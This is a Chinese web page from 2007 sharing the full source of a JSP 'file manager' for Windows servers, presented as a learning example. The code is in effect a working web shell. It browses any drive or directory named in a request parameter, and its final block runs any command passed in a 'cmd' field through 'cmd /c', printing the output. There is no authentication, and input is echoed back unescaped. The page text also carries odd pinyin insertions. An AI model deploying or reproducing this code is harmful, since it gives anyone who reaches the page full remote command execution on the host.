一(yī)個JSP文件管理器

發布時間:2007年06月13日      浏覽次數:2695 次
<%
/**
Jsp File Manger V0.5 windows平台的
文件名: folder.jsp
描述: 一(yī)個簡單的系統文件目錄顯示程序,類似于資(zī)源管理器,不過功能弱多了。通過這個例子主要是學習一(yī)下(xià)SYstem.IO.File類 。
作者: 慈勤強
Emai : cqq1978@Gmail.com
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*" %>
<%@page import="java.util.*"%>
<style>
td,select,input,body
{
font-size:9pt;
}
A { TEXT-DECORATION: none }
</style>
<title>Jsp File Manger Version0.5 --bY 慈勤強 cqq1978@Gmail.com</title>
<%!
String getDrivers()
/**
Windows系統上取得可用的所有邏輯盤
**/
{
StringBuffer sb=new StringBuffer("驅動器 : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append("<a href='?path="+roots[i]+"'>");
sb.append(roots[i]+"</a>   ");
}
return sb.toString();
}
%>
<%
String strThisFile="folder.jsp";
request.setCharacterEncoding("gb2312");
String strDir = request.getParameter("path");
if(strDir==null||strDir.length()<1)
{
strDir = "c:\\";
}
StringBuffer sb=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>當前目錄: <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");
sb.append("上級目錄</a><br>- - - - - - - - - - - </td></tr>\r\n");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sb.append("<tr><td > </td><td>");
sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");
sb.append("</td></tr>");
//sb.append("</td></tr></table>\r\n");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();

if(lFile>1000000)
{
lFile=lFile/1000000;
strLen="" + lFile + " M";
}
else if(lFile>1000)
{
lFile=lFile/1000;
strLen="" + lFile + " K";
}
else
{
strLen="" + lFile + " Byte";
}
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append("<!--修改 删除 下(xià)載 複制--> ");
sbFile.append("</td></tr>\r\n");
//sbFile.append("</td></tr></table>");
}
}
//out.println(sb.toString()+sbFile.toString());
}
catch(Exception e)
{
out.println("<font color=red>操作失敗: "+e.toString()+"</font>");
}
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sb%>
</tr>
</table>
</td>
<td width="81%" align="center" valign="top">
<table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr bgcolor="#E7e7e6">
<td width="26%">文件名稱</td>
<td width="19%" align="center">文件大(dà)小(xiǎo)</td>
<td width="29%" align="center">修改時間</td>
<td width="26%" align="center">文件操作</td>
</tr>
<%=sbFile%>
<!-- <tr align="center">
<td colspan="4"><br>
總計文件個數:<font color="#FF0000">30</font> ,大(dà)小(xiǎo):<font color="#FF0000">664.9</font>
KB </td>
</tr>
-->
</table>
</td>
</tr>
</table>
<%
String strCmd="";
String line="";
StringBuffer sbCmd=new StringBuffer("");
strCmd = request.getParameter("cmd");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type=submit name=submit value="執行">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<%
}
%>
免責聲明:本站相關技術文章信息部分(fēn)來自網絡,目的主要是傳播更多信息,如果您認爲本站的某些信息侵犯了您的版權,請與我(wǒ)(wǒ)們聯系,我(wǒ)(wǒ)們會即時妥善的處理,謝謝合作!